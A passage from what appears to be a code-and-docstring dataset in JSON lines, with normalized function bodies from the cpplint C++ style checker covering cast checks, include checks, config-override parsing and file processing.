expecting_function:<EOL><INDENT>CheckCStyleCast(filename, clean_lines, linenum, '<STR_LIT>',<EOL>r'<STR_LIT>', error)<EOL><DEDENT>if CheckCStyleCast(filename, clean_lines, linenum, '<STR_LIT>',<EOL>r'<STR_LIT>', error):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>CheckCStyleCast(filename, clean_lines, linenum, '<STR_LIT>',<EOL>r'<STR_LIT>', error)<EOL><DEDENT>match = Search(<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>parenthesis_error = False<EOL>match = Match(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>_, y1, x1 = CloseExpression(clean_lines, linenum, len(match.group(<NUM_LIT:1>)))<EOL>if x1 >= <NUM_LIT:0> and clean_lines.elided[y1][x1] == '<STR_LIT:(>':<EOL><INDENT>_, y2, x2 = CloseExpression(clean_lines, y1, x1)<EOL>if x2 >= <NUM_LIT:0>:<EOL><INDENT>extended_line = clean_lines.elided[y2][x2:]<EOL>if y2 < clean_lines.NumLines() - <NUM_LIT:1>:<EOL><INDENT>extended_line += clean_lines.elided[y2 + <NUM_LIT:1>]<EOL><DEDENT>if Match(r'<STR_LIT>', extended_line):<EOL><INDENT>parenthesis_error = True<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if parenthesis_error:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'))<EOL><DEDENT><DEDENT>", "docstring": "Various cast related checks.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m83"}
{"signature": "def CheckCStyleCast(filename, clean_lines, linenum, cast_type, pattern, error):", "body": "line = clean_lines.elided[linenum]<EOL>match = Search(pattern, line)<EOL>if not match:<EOL><INDENT>return False<EOL><DEDENT>context = line[<NUM_LIT:0>:match.start(<NUM_LIT:1>) - <NUM_LIT:1>]<EOL>if Match(r'<STR_LIT>', context):<EOL><INDENT>return False<EOL><DEDENT>if linenum > <NUM_LIT:0>:<EOL><INDENT>for i in xrange(linenum - <NUM_LIT:1>, max(<NUM_LIT:0>, linenum - <NUM_LIT:5>), -<NUM_LIT:1>):<EOL><INDENT>context = clean_lines.elided[i] + context<EOL><DEDENT><DEDENT>if Match(r'<STR_LIT>', context):<EOL><INDENT>return False<EOL><DEDENT>if context.endswith('<STR_LIT>') or context.endswith('<STR_LIT>'):<EOL><INDENT>return False<EOL><DEDENT>remainder = line[match.end(<NUM_LIT:0>):]<EOL>if Match(r'<STR_LIT>',<EOL>remainder):<EOL><INDENT>return False<EOL><DEDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>' %<EOL>(cast_type, match.group(<NUM_LIT:1>)))<EOL>return True<EOL>", "docstring": "Checks for a C-style cast by looking for the pattern.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      cast_type: The string for the C++ cast to recommend.  This is either\n        reinterpret_cast, static_cast, or const_cast, depending.\n      pattern: The regular expression used to find C-style casts.\n      error: The function to call with any errors found.\n\n    Returns:\n      True if an error was emitted.\n      False otherwise.", "id": "f7245:m84"}
{"signature": "def ExpectingFunctionArgs(clean_lines, linenum):", "body": "line = clean_lines.elided[linenum]<EOL>return (Match(r'<STR_LIT>', line) or<EOL>(linenum >= <NUM_LIT:2> and<EOL>(Match(r'<STR_LIT>',<EOL>clean_lines.elided[linenum - <NUM_LIT:1>]) or<EOL>Match(r'<STR_LIT>',<EOL>clean_lines.elided[linenum - <NUM_LIT:2>]) or<EOL>Search(r'<STR_LIT>',<EOL>clean_lines.elided[linenum - <NUM_LIT:1>]))))<EOL>", "docstring": "Checks whether where function type arguments are expected.\n\n    Args:\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n\n    Returns:\n      True if the line at 'linenum' is inside something that expects arguments\n      of function types.", "id": "f7245:m85"}
{"signature": "def FilesBelongToSameModule(filename_cc, filename_h):", "body": "fileinfo_cc = FileInfo(filename_cc)<EOL>if not fileinfo_cc.Extension().lstrip('<STR_LIT:.>') in GetNonHeaderExtensions():<EOL><INDENT>return (False, '<STR_LIT>')<EOL><DEDENT>fileinfo_h = FileInfo(filename_h)<EOL>if not fileinfo_h.Extension().lstrip('<STR_LIT:.>') in GetHeaderExtensions():<EOL><INDENT>return (False, '<STR_LIT>')<EOL><DEDENT>filename_cc = filename_cc[:-(len(fileinfo_cc.Extension()))]<EOL>matched_test_suffix = Search(_TEST_FILE_SUFFIX, fileinfo_cc.BaseName())<EOL>if matched_test_suffix:<EOL><INDENT>filename_cc = filename_cc[:-len(matched_test_suffix.group(<NUM_LIT:1>))]<EOL><DEDENT>filename_cc = filename_cc.replace('<STR_LIT>', '<STR_LIT:/>')<EOL>filename_cc = filename_cc.replace('<STR_LIT>', '<STR_LIT:/>')<EOL>filename_h = filename_h[:-(len(fileinfo_h.Extension()))]<EOL>if filename_h.endswith('<STR_LIT>'):<EOL><INDENT>filename_h = filename_h[:-len('<STR_LIT>')]<EOL><DEDENT>filename_h = filename_h.replace('<STR_LIT>', '<STR_LIT:/>')<EOL>filename_h = filename_h.replace('<STR_LIT>', '<STR_LIT:/>')<EOL>files_belong_to_same_module = filename_cc.endswith(filename_h)<EOL>common_path = '<STR_LIT>'<EOL>if files_belong_to_same_module:<EOL><INDENT>common_path = filename_cc[:-len(filename_h)]<EOL><DEDENT>return files_belong_to_same_module, common_path<EOL>", "docstring": "Check if these two filenames belong to the same module.\n\n    The concept of a 'module' here is a as follows:\n    foo.h, foo-inl.h, foo.cc, foo_test.cc and foo_unittest.cc belong to the\n    same 'module' if they are in the same directory.\n    some/path/public/xyzzy and some/path/internal/xyzzy are also considered\n    to belong to the same module here.\n\n    If the filename_cc contains a longer path than the filename_h, for example,\n    '/absolute/path/to/base/sysinfo.cc', and this file would include\n    'base/sysinfo.h', this function also produces the prefix needed to open the\n    header. This is used by the caller of this function to more robustly open the\n    header file. We don't have access to the real include paths in this context,\n    so we need this guesswork here.\n\n    Known bugs: tools/base/bar.cc and base/bar.h belong to the same module\n    according to this implementation. Because of this, this function gives\n    some false positives. This should be sufficiently rare in practice.\n\n    Args:\n      filename_cc: is the path for the source (e.g. .cc) file\n      filename_h: is the path for the header path\n\n    Returns:\n      Tuple with a bool and a string:\n      bool: True if filename_cc and filename_h belong to the same module.\n      string: the additional prefix needed to open the header file.", "id": "f7245:m86"}
{"signature": "def UpdateIncludeState(filename, include_dict, io=codecs):", "body": "headerfile = None<EOL>try:<EOL><INDENT>headerfile = io.open(filename, '<STR_LIT:r>', '<STR_LIT:utf8>', '<STR_LIT:replace>')<EOL><DEDENT>except IOError:<EOL><INDENT>return False<EOL><DEDENT>linenum = <NUM_LIT:0><EOL>for line in headerfile:<EOL><INDENT>linenum += <NUM_LIT:1><EOL>clean_line = CleanseComments(line)<EOL>match = _RE_PATTERN_INCLUDE.search(clean_line)<EOL>if match:<EOL><INDENT>include = match.group(<NUM_LIT:2>)<EOL>include_dict.setdefault(include, linenum)<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Fill up the include_dict with new includes found from the file.\n\n    Args:\n      filename: the name of the header to read.\n      include_dict: a dictionary in which the headers are inserted.\n      io: The io factory to use to read the file. Provided for testability.\n\n    Returns:\n      True if a header was successfully added. False otherwise.", "id": "f7245:m87"}
{"signature": "def CheckForIncludeWhatYouUse(filename, clean_lines, include_state, error,<EOL>io=codecs):", "body": "required = {}  <EOL>for linenum in range(clean_lines.NumLines()):<EOL><INDENT>line = clean_lines.elided[linenum]<EOL>if not line or line[<NUM_LIT:0>] == '<STR_LIT:#>':<EOL><INDENT>continue<EOL><DEDENT>matched = _RE_PATTERN_STRING.search(line)<EOL>if matched:<EOL><INDENT>prefix = line[:matched.start()]<EOL>if prefix.endswith('<STR_LIT>') or not prefix.endswith('<STR_LIT>'):<EOL><INDENT>required['<STR_LIT>'] = (linenum, '<STR_LIT:string>')<EOL><DEDENT><DEDENT>for pattern, template, header in _re_pattern_headers_maybe_templates:<EOL><INDENT>if pattern.search(line):<EOL><INDENT>required[header] = (linenum, template)<EOL><DEDENT><DEDENT>if not '<STR_LIT:<>' in line:  <EOL><INDENT>continue<EOL><DEDENT>for pattern, template, header in _re_pattern_templates:<EOL><INDENT>if pattern.search(line):<EOL><INDENT>required[header] = (linenum, template)<EOL><DEDENT><DEDENT><DEDENT>include_dict = dict([item for sublist in include_state.include_list<EOL>for item in sublist])<EOL>header_found = False<EOL>abs_filename = FileInfo(filename).FullName()<EOL>abs_filename = re.sub(r'<STR_LIT>', '<STR_LIT>', abs_filename)<EOL>header_keys = list(include_dict.keys())<EOL>for header in header_keys:<EOL><INDENT>(same_module, common_path) = FilesBelongToSameModule(abs_filename, header)<EOL>fullpath = common_path + header<EOL>if same_module and UpdateIncludeState(fullpath, include_dict, io):<EOL><INDENT>header_found = True<EOL><DEDENT><DEDENT>if not header_found:<EOL><INDENT>for extension in GetNonHeaderExtensions():<EOL><INDENT>if filename.endswith('<STR_LIT:.>' + extension):<EOL><INDENT>return<EOL><DEDENT><DEDENT><DEDENT>for required_header_unstripped in sorted(required, key=required.__getitem__):<EOL><INDENT>template = required[required_header_unstripped][<NUM_LIT:1>]<EOL>if required_header_unstripped.strip('<STR_LIT>') not in include_dict:<EOL><INDENT>error(filename, required[required_header_unstripped][<NUM_LIT:0>],<EOL>'<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>' + required_header_unstripped + '<STR_LIT>' + template)<EOL><DEDENT><DEDENT>", "docstring": "Reports for missing stl includes.\n\n    This function will output warnings to make sure you are including the headers\n    necessary for the stl containers and functions that you use. We only give one\n    reason to include a header. For example, if you use both equal_to<> and\n    less<> in a .h file, only one (the latter in the file) of these will be\n    reported as a reason to include the <functional>.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      include_state: An _IncludeState instance.\n      error: The function to call with any errors found.\n      io: The IO factory to use to read the header file. Provided for unittest\n          injection.", "id": "f7245:m88"}
{"signature": "def CheckMakePairUsesDeduction(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>match = _RE_PATTERN_EXPLICIT_MAKEPAIR.search(line)<EOL>if match:<EOL><INDENT>error(filename, linenum, '<STR_LIT>',<EOL><NUM_LIT:4>,  <EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Check that make_pair's template arguments are deduced.\n\n    G++ 4.6 in C++11 mode fails badly if make_pair's template arguments are\n    specified explicitly, and such use isn't intended in any case.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m89"}
{"signature": "def CheckRedundantVirtual(filename, clean_lines, linenum, error):", "body": "<EOL>line = clean_lines.elided[linenum]<EOL>virtual = Match(r'<STR_LIT>', line)<EOL>if not virtual: return<EOL>if (Search(r'<STR_LIT>', virtual.group(<NUM_LIT:1>)) or<EOL>Match(r'<STR_LIT>', virtual.group(<NUM_LIT:3>))):<EOL><INDENT>return<EOL><DEDENT>if Match(r'<STR_LIT>', line): return<EOL>end_col = -<NUM_LIT:1><EOL>end_line = -<NUM_LIT:1><EOL>start_col = len(virtual.group(<NUM_LIT:2>))<EOL>for start_line in xrange(linenum, min(linenum + <NUM_LIT:3>, clean_lines.NumLines())):<EOL><INDENT>line = clean_lines.elided[start_line][start_col:]<EOL>parameter_list = Match(r'<STR_LIT>', line)<EOL>if parameter_list:<EOL><INDENT>(_, end_line, end_col) = CloseExpression(<EOL>clean_lines, start_line, start_col + len(parameter_list.group(<NUM_LIT:1>)))<EOL>break<EOL><DEDENT>start_col = <NUM_LIT:0><EOL><DEDENT>if end_col < <NUM_LIT:0>:<EOL><INDENT>return  <EOL><DEDENT>for i in xrange(end_line, min(end_line + <NUM_LIT:3>, clean_lines.NumLines())):<EOL><INDENT>line = clean_lines.elided[i][end_col:]<EOL>match = Search(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>('<STR_LIT>'<EOL>'<STR_LIT>' % match.group(<NUM_LIT:1>)))<EOL><DEDENT>end_col = <NUM_LIT:0><EOL>if Search(r'<STR_LIT>', line):<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Check if line contains a redundant \"virtual\" function-specifier.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m90"}
{"signature": "def CheckRedundantOverrideOrFinal(filename, clean_lines, linenum, error):", "body": "<EOL>line = clean_lines.elided[linenum]<EOL>declarator_end = line.rfind('<STR_LIT:)>')<EOL>if declarator_end >= <NUM_LIT:0>:<EOL><INDENT>fragment = line[declarator_end:]<EOL><DEDENT>else:<EOL><INDENT>if linenum > <NUM_LIT:1> and clean_lines.elided[linenum - <NUM_LIT:1>].rfind('<STR_LIT:)>') >= <NUM_LIT:0>:<EOL><INDENT>fragment = line<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT><DEDENT>if Search(r'<STR_LIT>', fragment) and Search(r'<STR_LIT>', fragment):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>('<STR_LIT>'<EOL>'<STR_LIT>'))<EOL><DEDENT>", "docstring": "Check if line contains a redundant \"override\" or \"final\" virt-specifier.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m91"}
{"signature": "def IsBlockInNameSpace(nesting_state, is_forward_declaration):", "body": "if is_forward_declaration:<EOL><INDENT>return len(nesting_state.stack) >= <NUM_LIT:1> and (<EOL>isinstance(nesting_state.stack[-<NUM_LIT:1>], _NamespaceInfo))<EOL><DEDENT>return (len(nesting_state.stack) > <NUM_LIT:1> and<EOL>nesting_state.stack[-<NUM_LIT:1>].check_namespace_indentation and<EOL>isinstance(nesting_state.stack[-<NUM_LIT:2>], _NamespaceInfo))<EOL>", "docstring": "Checks that the new block is directly in a namespace.\n\n    Args:\n      nesting_state: The _NestingState object that contains info about our state.\n      is_forward_declaration: If the class is a forward declared class.\n    Returns:\n      Whether or not the new block is directly in a namespace.", "id": "f7245:m92"}
{"signature": "def ShouldCheckNamespaceIndentation(nesting_state, is_namespace_indent_item,<EOL>raw_lines_no_comments, linenum):", "body": "is_forward_declaration = IsForwardClassDeclaration(raw_lines_no_comments,<EOL>linenum)<EOL>if not (is_namespace_indent_item or is_forward_declaration):<EOL><INDENT>return False<EOL><DEDENT>if IsMacroDefinition(raw_lines_no_comments, linenum):<EOL><INDENT>return False<EOL><DEDENT>return IsBlockInNameSpace(nesting_state, is_forward_declaration)<EOL>", "docstring": "This method determines if we should apply our namespace indentation check.\n\n    Args:\n      nesting_state: The current nesting state.\n      is_namespace_indent_item: If we just put a new class on the stack, True.\n        If the top of the stack is not a class, or we did not recently\n        add the class, False.\n      raw_lines_no_comments: The lines without the comments.\n      linenum: The current line number we are processing.\n\n    Returns:\n      True if we should apply our namespace indentation check. Currently, it\n      only works for classes and namespaces inside of a namespace.", "id": "f7245:m93"}
{"signature": "def ProcessLine(filename, file_extension, clean_lines, line,<EOL>include_state, function_state, nesting_state, error,<EOL>extra_check_functions=None):", "body": "raw_lines = clean_lines.raw_lines<EOL>ParseNolintSuppressions(filename, raw_lines[line], line, error)<EOL>nesting_state.Update(filename, clean_lines, line, error)<EOL>CheckForNamespaceIndentation(filename, nesting_state, clean_lines, line,<EOL>error)<EOL>if nesting_state.InAsmBlock(): return<EOL>CheckForFunctionLengths(filename, clean_lines, line, function_state, error)<EOL>CheckForMultilineCommentsAndStrings(filename, clean_lines, line, error)<EOL>CheckStyle(filename, clean_lines, line, file_extension, nesting_state, error)<EOL>CheckLanguage(filename, clean_lines, line, file_extension, include_state,<EOL>nesting_state, error)<EOL>CheckForNonConstReference(filename, clean_lines, line, nesting_state, error)<EOL>CheckForNonStandardConstructs(filename, clean_lines, line,<EOL>nesting_state, error)<EOL>CheckVlogArguments(filename, clean_lines, line, error)<EOL>CheckPosixThreading(filename, clean_lines, line, error)<EOL>CheckInvalidIncrement(filename, clean_lines, line, error)<EOL>CheckMakePairUsesDeduction(filename, clean_lines, line, error)<EOL>CheckRedundantVirtual(filename, clean_lines, line, error)<EOL>CheckRedundantOverrideOrFinal(filename, clean_lines, line, error)<EOL>if extra_check_functions:<EOL><INDENT>for check_fn in extra_check_functions:<EOL><INDENT>check_fn(filename, clean_lines, line, error)<EOL><DEDENT><DEDENT>", "docstring": "Processes a single line in the file.\n\n    Args:\n      filename: Filename of the file that is being processed.\n      file_extension: The extension (dot not included) of the file.\n      clean_lines: An array of strings, each representing a line of the file,\n                   with comments stripped.\n      line: Number of line being processed.\n      include_state: An _IncludeState instance in which the headers are inserted.\n      function_state: A _FunctionState instance which counts function lines, etc.\n      nesting_state: A NestingState instance which maintains information about\n                     the current stack of nested blocks being parsed.\n      error: A callable to which errors are reported, which takes 4 arguments:\n             filename, line number, error level, and message\n      extra_check_functions: An array of additional check functions that will be\n                             run on each source line. Each function takes 4\n                             arguments: filename, clean_lines, line, error", "id": "f7245:m95"}
{"signature": "def FlagCxx11Features(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>include = Match(r'<STR_LIT>', line)<EOL>if include and include.group(<NUM_LIT:1>).startswith('<STR_LIT>'):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>('<STR_LIT>') % include.group(<NUM_LIT:1>))<EOL><DEDENT>if include and include.group(<NUM_LIT:1>) in ('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>('<STR_LIT>') % include.group(<NUM_LIT:1>))<EOL><DEDENT>if Match(r'<STR_LIT>', line) and not Match(r'<STR_LIT>', line): return<EOL>for top_name in (<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>):<EOL><INDENT>if Search(r'<STR_LIT>' % top_name, line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>') % top_name)<EOL><DEDENT><DEDENT>", "docstring": "Flag those c++11 features that we only allow in certain places.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m96"}
{"signature": "def FlagCxx14Features(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>include = Match(r'<STR_LIT>', line)<EOL>if include and include.group(<NUM_LIT:1>) in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>('<STR_LIT>') % include.group(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "Flag those C++14 features that we restrict.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m97"}
{"signature": "def ProcessFileData(filename, file_extension, lines, error,<EOL>extra_check_functions=None):", "body": "lines = (['<STR_LIT>'] + lines +<EOL>['<STR_LIT>'])<EOL>include_state = _IncludeState()<EOL>function_state = _FunctionState()<EOL>nesting_state = NestingState()<EOL>ResetNolintSuppressions()<EOL>CheckForCopyright(filename, lines, error)<EOL>ProcessGlobalSuppresions(lines)<EOL>RemoveMultiLineComments(filename, lines, error)<EOL>clean_lines = CleansedLines(lines)<EOL>if file_extension in GetHeaderExtensions():<EOL><INDENT>CheckForHeaderGuard(filename, clean_lines, error)<EOL><DEDENT>for line in range(clean_lines.NumLines()):<EOL><INDENT>ProcessLine(filename, file_extension, clean_lines, line,<EOL>include_state, function_state, nesting_state, error,<EOL>extra_check_functions)<EOL>FlagCxx11Features(filename, clean_lines, line, error)<EOL><DEDENT>nesting_state.CheckCompletedBlocks(filename, error)<EOL>CheckForIncludeWhatYouUse(filename, clean_lines, include_state, error)<EOL>if _IsSourceExtension(file_extension):<EOL><INDENT>CheckHeaderFileIncluded(filename, include_state, error)<EOL><DEDENT>CheckForBadCharacters(filename, lines, error)<EOL>CheckForNewlineAtEOF(filename, lines, error)<EOL>", "docstring": "Performs lint checks and reports any errors to the given error function.\n\n    Args:\n      filename: Filename of the file that is being processed.\n      file_extension: The extension (dot not included) of the file.\n      lines: An array of strings, each representing a line of the file, with the\n             last element being empty if the file is terminated with a newline.\n      error: A callable to which errors are reported, which takes 4 arguments:\n             filename, line number, error level, and message\n      extra_check_functions: An array of additional check functions that will be\n                             run on each source line. Each function takes 4\n                             arguments: filename, clean_lines, line, error", "id": "f7245:m98"}
{"signature": "def ProcessConfigOverrides(filename):", "body": "abs_filename = os.path.abspath(filename)<EOL>cfg_filters = []<EOL>keep_looking = True<EOL>while keep_looking:<EOL><INDENT>abs_path, base_name = os.path.split(abs_filename)<EOL>if not base_name:<EOL><INDENT>break  <EOL><DEDENT>cfg_file = os.path.join(abs_path, \"<STR_LIT>\")<EOL>abs_filename = abs_path<EOL>if not os.path.isfile(cfg_file):<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>with open(cfg_file) as file_handle:<EOL><INDENT>for line in file_handle:<EOL><INDENT>line, _, _ = line.partition('<STR_LIT:#>')  <EOL>if not line.strip():<EOL><INDENT>continue<EOL><DEDENT>name, _, val = line.partition('<STR_LIT:=>')<EOL>name = name.strip()<EOL>val = val.strip()<EOL>if name == '<STR_LIT>':<EOL><INDENT>keep_looking = False<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>cfg_filters.append(val)<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>if base_name:<EOL><INDENT>pattern = re.compile(val)<EOL>if pattern.match(base_name):<EOL><INDENT>_cpplint_state.PrintInfo('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(filename, cfg_file, base_name, val))<EOL>return False<EOL><DEDENT><DEDENT><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>global _line_length<EOL>try:<EOL><INDENT>_line_length = int(val)<EOL><DEDENT>except ValueError:<EOL><INDENT>_cpplint_state.PrintError('<STR_LIT>')<EOL><DEDENT><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>global _valid_extensions<EOL>try:<EOL><INDENT>extensions = [ext.strip() for ext in val.split('<STR_LIT:U+002C>')]<EOL>_valid_extensions = set(extensions)<EOL><DEDENT>except ValueError:<EOL><INDENT>sys.stderr.write('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (val,))<EOL><DEDENT><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>global _header_extensions<EOL>try:<EOL><INDENT>extensions = [ext.strip() for ext in val.split('<STR_LIT:U+002C>')]<EOL>_header_extensions = set(extensions)<EOL><DEDENT>except ValueError:<EOL><INDENT>sys.stderr.write('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (val,))<EOL><DEDENT><DEDENT>elif name == '<STR_LIT:root>':<EOL><INDENT>global _root<EOL>_root = val<EOL><DEDENT>else:<EOL><INDENT>_cpplint_state.PrintError(<EOL>'<STR_LIT>' %<EOL>(name, cfg_file))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except IOError:<EOL><INDENT>_cpplint_state.PrintError(<EOL>\"<STR_LIT>\" % cfg_file)<EOL>keep_looking = False<EOL><DEDENT><DEDENT>for cfg_filter in reversed(cfg_filters):<EOL><INDENT>_AddFilters(cfg_filter)<EOL><DEDENT>return True<EOL>", "docstring": "Loads the configuration files and processes the config overrides.\n\n    Args:\n      filename: The name of the file being processed by the linter.\n\n    Returns:\n      False if the current |filename| should not be processed further.", "id": "f7245:m99"}
{"signature": "def ProcessFile(filename, vlevel, extra_check_functions=None):", "body": "_SetVerboseLevel(vlevel)<EOL>_BackupFilters()<EOL>if not ProcessConfigOverrides(filename):<EOL><INDENT>_RestoreFilters()<EOL>return<EOL><DEDENT>lf_lines = []<EOL>crlf_lines = []<EOL>try:<EOL><INDENT>if filename == '<STR_LIT:->':<EOL><INDENT>lines = codecs.StreamReaderWriter(sys.stdin,<EOL>codecs.getreader('<STR_LIT:utf8>'),<EOL>codecs.getwriter('<STR_LIT:utf8>'),<EOL>'<STR_LIT:replace>').read().split('<STR_LIT:\\n>')<EOL><DEDENT>else:<EOL><INDENT>lines = codecs.open(filename, '<STR_LIT:r>', '<STR_LIT:utf8>', '<STR_LIT:replace>').read().split('<STR_LIT:\\n>')<EOL><DEDENT>for linenum in range(len(lines) - <NUM_LIT:1>):<EOL><INDENT>if lines[linenum].endswith('<STR_LIT:\\r>'):<EOL><INDENT>lines[linenum] = lines[linenum].rstrip('<STR_LIT:\\r>')<EOL>crlf_lines.append(linenum + <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>lf_lines.append(linenum + <NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>except IOError:<EOL><INDENT>_cpplint_state.PrintError(<EOL>\"<STR_LIT>\" % filename)<EOL>_RestoreFilters()<EOL>return<EOL><DEDENT>file_extension = filename[filename.rfind('<STR_LIT:.>') + <NUM_LIT:1>:]<EOL>if filename != '<STR_LIT:->' and file_extension not in GetAllExtensions():<EOL><INDENT>bazel_gen_files = set([ <EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\", <EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>])<EOL>if not filename in bazel_gen_files:<EOL><INDENT>_cpplint_state.PrintError('<STR_LIT>'<EOL>'<STR_LIT>' % (filename, '<STR_LIT:U+002CU+0020>'.join(GetAllExtensions())))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ProcessFileData(filename, file_extension, lines, Error,<EOL>extra_check_functions)<EOL>if lf_lines and crlf_lines:<EOL><INDENT>for linenum in crlf_lines:<EOL><INDENT>Error(filename, linenum, '<STR_LIT>', <NUM_LIT:1>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>_RestoreFilters()<EOL>", "docstring": "Does google-lint on a single file.\n\n    Args:\n      filename: The name of the file to parse.\n\n      vlevel: The level of errors to report.  Every error of confidence\n      >= verbose_level will be reported.  0 is a good default.\n\n      extra_check_functions: An array of additional check functions that will be\n                             run on each source line. Each function takes 4\n                             arguments: filename, clean_lines, line, error", "id": "f7245:m100"}
{"signature": "def PrintUsage(message):", "body": "sys.stderr.write(_USAGE)<EOL>if message:<EOL><INDENT>sys.exit('<STR_LIT>' + message)<EOL><DEDENT>else:<EOL><INDENT>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>", "docstring": "Prints a brief usage string and exits, optionally with an error message.\n\n    Args:\n      message: The optional error message.", "id": "f7245:m101"}
{"signature": "def PrintCategories():", "body": "sys.stderr.write('<STR_LIT>'.join('<STR_LIT>' % cat for cat in _ERROR_CATEGORIES))<EOL>sys.exit(<NUM_LIT:0>)<EOL>", "docstring": "Prints a list of all the error-categories used by error messages.\n\n    These are the categories used to filter messages via --filter.", "id": "f7245:m102"}
{"signature": "def ParseArguments(args):", "body": "try:<EOL><INDENT>(opts, filenames) = getopt.getopt(args, '<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'])<EOL><DEDENT>except getopt.GetoptError:<EOL><INDENT>PrintUsage('<STR_LIT>')<EOL><DEDENT>verbosity = _VerboseLevel()<EOL>output_format = _OutputFormat()<EOL>filters = '<STR_LIT>'<EOL>counting_style = '<STR_LIT>'<EOL>recursive = False<EOL>for (opt, val) in opts:<EOL><INDENT>if opt == '<STR_LIT>':<EOL><INDENT>PrintUsage(None)<EOL><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>if val not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>PrintUsage('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>output_format = val<EOL><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>verbosity = int(val)<EOL><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>filters = val<EOL>if not filters:<EOL><INDENT>PrintCategories()<EOL><DEDENT><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>if val not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>PrintUsage('<STR_LIT>')<EOL><DEDENT>counting_style = val<EOL><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>global _root<EOL>_root = val<EOL><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>global _repository<EOL>_repository = val<EOL><DEDENT>elif opt == '<STR_LIT>':<EOL><INDENT>global 